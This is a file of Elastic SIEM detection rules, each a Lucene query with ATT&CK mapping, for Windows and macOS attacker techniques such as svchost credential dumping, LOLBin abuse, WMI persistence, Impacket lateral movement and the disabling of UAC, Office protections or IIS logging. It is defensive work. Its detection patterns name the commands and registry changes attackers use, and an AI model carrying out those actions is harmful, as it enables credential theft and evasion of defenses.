{"description":"Detects when a possible suspicious driver is being installed via pnputil.exe lolbin Author: Hai Vaknin @LuxNoBulIshit, Avihay eldad @aloneliassaf, Austin Songer @austinsonger. License: ","enabled":false,"false_positives":["Pnputil.exe being used may be performed by a system administrator.","Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.","Pnputil.exe being executed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.","Penetration Testing"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a2ea3ae7-d3d0-40a0-a55c-25a45c87cac1","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Driver Install by pnputil.exe","query":"(process.command_line:(*\\-i* OR *\\/install* OR *\\-a* OR *\\/add\\-driver* OR *.inf*) AND process.executable:*\\\\pnputil.exe)","meta":{"from":"1m"},"severity":"medium","tags":["T1547","T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""},{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects when a process, such as mimikatz, accesses the memory of svchost to dump credentials Author: Florent Labouyrie. License: ","enabled":false,"false_positives":["Non identified legit exectubale"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ad7769f7-5b3a-9786-cee8-5f897987c28f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"SVCHOST Credential Dump","query":"((winlog.event_data.TargetImage:*\\\\svchost.exe AND winlog.event_data.GrantedAccess:\"0x143a\") AND (NOT (process.executable:(*\\\\services.exe OR *\\\\msiexec.exe))))","meta":{"from":"1m"},"severity":"critical","tags":["T1548"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects when a user bypasses Defender by renaming a tool to dump64.exe and placing it in a Visual Studio folder Author: Austin Songer @austinsonger, Florian Roth. License: ","enabled":false,"false_positives":["Dump64.exe in other folders than the excluded one"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"129966c9-de17-4334-a123-8b58172e664d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Dump64.exe Execution","query":"(process.executable:*\\\\dump64.exe AND ((NOT (process.executable:*\\\\Installer\\\\Feedback\\\\dump64.exe*)) OR process.command_line:(*\\ \\-ma\\ * OR *accpeteula*)))","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects when a user enables DNS-over-HTTPS. This can be used to hide internet activity or be used to hide the process of exfiltrating data. With this enabled organization will lose visibility into data such as query type, response and originating IP that are used to determine bad actors. Author: Austin Songer. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b017e15c-b8a7-9d39-c605-b8b74b2c9dc9","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"DNS-over-HTTPS Enabled by Registry","query":"(winlog.event_data.EventType:\"SetValue\" AND ((winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Edge\\\\BuiltInDnsClientEnabled AND winlog.event_data.Details:\"DWORD\\ \$1\$\") OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Google\\\\Chrome\\\\DnsOverHttpsMode AND winlog.event_data.Details:\"DWORD\\ \$secure\$\") OR (winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Policies\\\\Mozilla\\\\Firefox\\\\DNSOverHTTPS\\\\Enabled AND winlog.event_data.Details:\"DWORD\\ \$1\$\")))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1112","T1140"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""},{"id":"T1140","name":"Deobfuscate/Decode Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects when a user installs certificates by using CertOC.exe to loads the target DLL file. Author: Austin Songer @austinsonger. License: ","enabled":false,"false_positives":["None"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"242301bc-f92f-4476-8718-78004a6efd9f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Load DLL via CertOC.exe","query":"(process.executable:*\\\\certoc.exe AND process.command_line:*\\-LoadDLL* AND process.command_line:*.dll*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects when a user manipulates with Firmward Password on MacOS. NOTE - this command has been disabled on silicon-based apple computers. Author: Austin Songer @austinsonger. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"7ed2c9f7-c59d-4c82-a7e2-f859aa676099","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious MacOS Firmware Activity","query":"(process.executable:\"\\/usr\\/sbin\\/firmwarepasswd\" AND process.command_line:(*setpasswd* OR *full* OR *delete* OR *check*))","meta":{"from":"1m"},"severity":"medium","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects when a user performs data exfiltration by using DataSvcUtil.exe Author: Ialle Teixeira @teixeira0xfffff, Austin Songer @austinsonger. License: ","enabled":false,"false_positives":["DataSvcUtil.exe being used may be performed by a system administrator.","Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.","DataSvcUtil.exe being executed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule.","Penetration Testing"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e290b10b-1023-4452-a4a9-eb31a9013b3a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"LOLBAS Data Exfiltration by DataSvcUtil.exe","query":"(process.command_line:*\\/in\\:* AND process.command_line:*\\/out\\:* AND process.executable:*\\\\DataSvcUtil.exe)","meta":{"from":"1m"},"severity":"medium","tags":["T1567"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0010","reference":"","name":"Exfiltration"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1567","name":"Exfiltration Over Web Service","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects when an admin share is mounted using net.exe Author: oscd.community, Teymur Kheirkhabarov @HeirhabarovT, Zach Stanford @svch0st, wagga. License: ","enabled":false,"false_positives":["Administrators"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3abd6094-7027-475f-9630-8ab9be7b9725","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Mounted Windows Admin Shares with net.exe","query":"(process.executable:(*\\\\net.exe OR *\\\\net1.exe) AND process.command_line:*\\ use\\ * AND process.command_line:*\\\\\\*\\\\*$*)","meta":{"from":"1m"},"severity":"medium","tags":["Lateral Movement","T1021"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0008","reference":"","name":"Lateral Movement"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1021","name":"Remote Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects when GfxDownloadWrapper.exe downloads file from non standard URL Author: Victor Sergeev, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"eee00933-a761-4cd0-be70-c42fe91731e7","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"GfxDownloadWrapper.exe Downloads File from Suspicious URL","query":"((process.executable:*\\\\GfxDownloadWrapper.exe AND (NOT (process.command_line:*gameplayapi.intel.com*))) AND (NOT (process.parent.executable:*\\\\GfxDownloadWrapper.exe)))","meta":{"from":"1m"},"severity":"medium","tags":["T1105"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects when the registration of a VSS/VDS Provider as a COM+ application. Author: Austin Songer @austinsonger. License: ","enabled":false,"false_positives":["None"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"28c8f68b-098d-45af-8d43-8089f3e35403","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Registration via cscript.exe","query":"(process.executable:*\\\\cscript.exe AND process.command_line:*\\-register* AND process.command_line:(*\\\\Windows\\ Kits\\\\10\\\\bin\\\\10.0.22000.0\\\\x64* OR *\\\\Windows\\ Kits\\\\10\\\\bin\\\\10.0.19041.0\\\\x64* OR *\\\\Windows\\ Kits\\\\10\\\\bin\\\\10.0.17763.0\\\\x64*))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects when verclsid.exe is used to run COM object via GUID Author: Victor Sergeev, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d06be4b9-8045-428b-a567-740a26d9db25","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Verclsid.exe Runs COM Object","query":"(process.executable:*\\\\verclsid.exe AND process.command_line:*\\/C* AND process.command_line:*\\/S*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation Author: oscd.community, @redcanary, Zach Stanford @svch0st. License: ","enabled":false,"false_positives":["Administrators or Power users may remove their shares via cmd line"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"cb7c4a03-2871-43c0-9bbb-18bbdb079896","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Mounted Share Deleted","query":"(process.parent.executable:*\\\\net.exe AND process.executable:*\\\\net1.exe AND process.command_line:*share* AND process.command_line:*\\/delete*)","meta":{"from":"1m"},"severity":"low","tags":["Defense Evasion","T1070"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1070","name":"Indicator Removal on Host","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Winword starting uncommon sub process csc.exe as used in exploits for CVE-2017-8759 Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"fdd84c68-a1f6-47c9-9477-920584f94905","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Exploit for CVE-2017-8759","query":"(process.parent.executable:*\\\\WINWORD.EXE AND process.executable:*\\\\csc.exe)","meta":{"from":"1m"},"severity":"critical","tags":["Initial Access","T1203","T1204","T1566"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0001","reference":"","name":"Initial Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1566","name":"Phishing","reference":""}]},{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1203","name":"Exploitation for Client Execution","reference":""},{"id":"T1204","name":"User Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Winword starting uncommon sub process FLTLDR.exe as used in exploits for CVE-2017-0261 and CVE-2017-0262 Author: Florian Roth. License: ","enabled":false,"false_positives":["Several false positives identified, check for suspicious file names or locations (e.g. Temp folders)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e6cb4ece-fdde-b815-bf33-05d9628ef4b9","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Exploit for CVE-2017-0261","query":"(process.parent.executable:*\\\\WINWORD.EXE AND process.executable:*\\\\FLTLDR.exe*)","meta":{"from":"1m"},"severity":"medium","tags":["Initial Access","T1203","T1204","T1566"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0001","reference":"","name":"Initial Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1566","name":"Phishing","reference":""}]},{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1203","name":"Exploitation for Client Execution","reference":""},{"id":"T1204","name":"User Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Winword starting uncommon sub process MicroScMgmt.exe as used in exploits for CVE-2015-1641 Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7993792c-5ce2-4475-a3db-a3a5539827ef","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Exploit for CVE-2015-1641","query":"(process.parent.executable:*\\\\WINWORD.EXE AND process.executable:*\\\\MicroScMgmt.exe)","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1036"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1036","name":"Masquerading","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Winword.exe loading of custmom dll via /l cmd switch Author: Victor Sergeev, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2621b3a6-3840-4810-ac14-a02426086171","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Winword.exe Loads Suspicious DLL","query":"(process.executable:*\\\\winword.exe AND process.command_line:*\\/l*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1202"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1202","name":"Indirect Command Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects WMI command line event consumers Author: Thomas Patzke. License: ","enabled":false,"false_positives":["Unknown (data set is too small; further testing needed)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b55a2b59-2841-a1f6-3cd1-a720ed8c6710","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"WMI Persistence - Command Line Event Consumer","query":"(process.executable:\"C\\:\\\\Windows\\\\System32\\\\wbem\\\\WmiPrvSE.exe\" AND file.path:*\\\\wbemcons.dll)","meta":{"from":"1m"},"severity":"high","tags":["T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects WMI executing rundll32 Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"51b7ea88-b13f-ac76-b951-a9911d42b72e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious WMI Execution Using Rundll32","query":"(process.command_line:*process\\ call\\ create* AND process.command_line:*rundll32*)","meta":{"from":"1m"},"severity":"high","tags":["T1047"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects WMI executing suspicious commands Author: Michael Haag, Florian Roth, juju4, oscd.community. License: ","enabled":false,"false_positives":["If using Splunk, we recommend | stats count by Computer,CommandLine following for easy hunting by Computer/CommandLine"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"526be59f-a573-4eea-b5f7-f0973207634d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious WMI Execution","query":"(process.executable:*\\\\wmic.exe AND ((process.command_line:*process* AND process.command_line:*call* AND process.command_line:*create\\ *) OR (process.command_line:*\\ path\\ * AND process.command_line:(*AntiVirus* OR *Firewall*) AND process.command_line:*Product* AND process.command_line:*\\ get\\ *)))","meta":{"from":"1m"},"severity":"medium","tags":["T1047"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects WMI script event consumers Author: Thomas Patzke. License: ","enabled":false,"false_positives":["Legitimate event consumers"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ec1d5e28-8f3b-4188-a6f8-6e8df81dc28e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"WMI Persistence - Script Event Consumer","query":"(process.executable:\"C\\:\\\\WINDOWS\\\\system32\\\\wbem\\\\scrcons.exe\" AND process.parent.executable:\"C\\:\\\\Windows\\\\System32\\\\svchost.exe\")","meta":{"from":"1m"},"severity":"high","tags":["Privilege Escalation","T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects WMI spawning PowerShell Author: Markus Neis / @Karneades. License: ","enabled":false,"false_positives":["AppvClient","CCM"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"692f0bec-83ba-4d04-af7e-e884a96059b6","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"WMI Spawning Windows PowerShell","query":"(((process.parent.executable:*\\\\wmiprvse.exe AND process.executable:*\\\\powershell.exe) AND (NOT (process.command_line:\"null\"))) AND (NOT (NOT _exists_:process.command_line)))","meta":{"from":"1m"},"severity":"high","tags":["T1047","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""},{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects WMI SquiblyTwo Attack with possible renamed WMI by looking for imphash Author: Markus Neis / Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"8d63dadf-b91b-4187-87b6-34a1114577ea","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"SquiblyTwo","query":"(process.command_line:*http* AND ((process.executable:*\\\\wmic.exe AND process.command_line:*wmic* AND process.command_line:*format*) OR (winlog.event_data.Imphash:(\"1B1A3F43BF37B5BFE60751F2EE2F326E\" OR \"37777A96245A3C74EB217308F3546F4C\" OR \"9D87C9D67CE724033C0B40CC4CA1B206\") AND process.command_line:*format\\:*)))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1047","T1059","T1059","T1220"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""},{"id":"T1059","name":"Command and Scripting Interpreter","reference":""},{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1220","name":"XSL Script Processing","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects WMIC executions in which a event consumer gets created in order to establish persistence Author: Florian Roth. License: ","enabled":false,"false_positives":["Legitimate software creating script event consumers"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"169a777f-59da-edc7-36e2-c1fc8e24e746","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious WMIC ActiveScriptEventConsumer Creation","query":"(process.command_line:*ActiveScriptEventConsumer* AND process.command_line:*\\ CREATE\\ *)","meta":{"from":"1m"},"severity":"high","tags":["T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects wmiexec/dcomexec/atexec/smbexec from Impacket framework Author: Ecco, oscd.community, Jonhnathan Ribeiro. License: ","enabled":false,"false_positives":["pentesters"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"8ab9019a-15a5-ac72-459f-eb66f583e466","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Impacket Lateralization Detection","query":"(process.command_line:*cmd.exe* AND process.command_line:*&1* AND ((process.parent.executable:(*\\\\wmiprvse.exe OR *\\\\mmc.exe OR *\\\\explorer.exe OR *\\\\services.exe) AND process.command_line:*\\/Q* AND process.command_line:*\\/c* AND process.command_line:*\\\\\\\\127.0.0.1\\\\*) OR (process.parent.command_line:(*svchost.exe\\ \\-k\\ netsvcs* OR *taskeng.exe*) AND process.command_line:*\\/C* AND process.command_line:*Windows\\\\Temp\\\\*)))","meta":{"from":"1m"},"severity":"critical","tags":["Lateral Movement","T1021","T1047"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""}]},{"tactic":{"id":"TA0008","reference":"","name":"Lateral Movement"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1021","name":"Remote Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects wmiprvse spawning processes Author: Roberto Rodriguez @Cyb3rWard0g. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d21374ff-f574-44a7-9998-4a8c8bf33d7d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Wmiprvse Spawning Process","query":"((process.parent.executable:*\\\\WmiPrvSe.exe AND (NOT (LogonId:(\"0x3e7\" OR \"null\") OR user.name:(NT\\ AUTHORITY\\\\SYSTEM* OR AUTORITE\\ NT\\\\Sys*) OR process.executable:(*\\\\WmiPrvSE.exe OR *\\\\WerFault.exe)))) AND (NOT (NOT _exists_:LogonId)))","meta":{"from":"1m"},"severity":"high","tags":["T1047"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects wscript/cscript executions of scripts located in user directories Author: Margaritis Dimitrios (idea), Florian Roth (rule), oscd.community. License: ","enabled":false,"false_positives":["Winzip","Other self-extractors"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"cea72823-df4d-4567-950c-0b579eaf0846","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"WScript or CScript Dropper","query":"((process.executable:(*\\\\wscript.exe OR *\\\\cscript.exe) AND process.command_line:(*C\\:\\\\Users\\\\* OR *C\\:\\\\ProgramData\\\\*) AND process.command_line:(*.jse* OR *.vbe* OR *.js* OR *.vba* OR *.vbs*)) AND (NOT (process.parent.executable:*\\\\winzip*)))","meta":{"from":"1m"},"severity":"high","tags":["T1059","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""},{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects, possibly, malicious unauthorized usage of bcdedit.exe Author: @neu5ron. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c9fbe8e9-119d-40a6-9b59-dd58a5d84429","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Possible Ransomware or Unauthorized MBR Modifications","query":"(process.executable:*\\\\bcdedit.exe AND process.command_line:(*delete* OR *deletevalue* OR *import* OR *safeboot* OR *network*))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1070","T1542"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1542","name":"Pre-OS Boot","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1070","name":"Indicator Removal on Host","reference":""},{"id":"T1542","name":"Pre-OS Boot","reference":""}]}],"version":1,"references":[""]}
{"description":"Disable Microsoft Office Security Features by registry Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d7264be7-af85-8726-ef3a-aaa6f0b0b80c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Disable Microsoft Office Security Features","query":"(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\SOFTWARE\\\\Microsoft\\\\Office\\\\* AND winlog.event_data.TargetObject:(*VBAWarnings OR *DisableInternetFilesInPV OR *DisableUnsafeLocationsInPV OR *DisableAttachementsInPV) AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\")","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Disable User Account Conrol (UAC) by changing its registry key HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA from 1 to 0 Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"fc959b48-6c05-95df-570b-f73cd65ce280","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Disable UAC Using Registry","query":"(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\EnableLUA\" AND winlog.event_data.Details:\"DWORD\\ \$0x00000000\$\")","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union) Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e4ed6030-ffe5-4e6a-8a8a-ab3c1ab9d94e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Disable Windows IIS HTTP Logging","query":"(process.executable:*\\\\appcmd.exe AND process.command_line:*set* AND process.command_line:*config* AND process.command_line:*\\/section\\:httplogging* AND process.command_line:*\\/dontLog\\:true*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
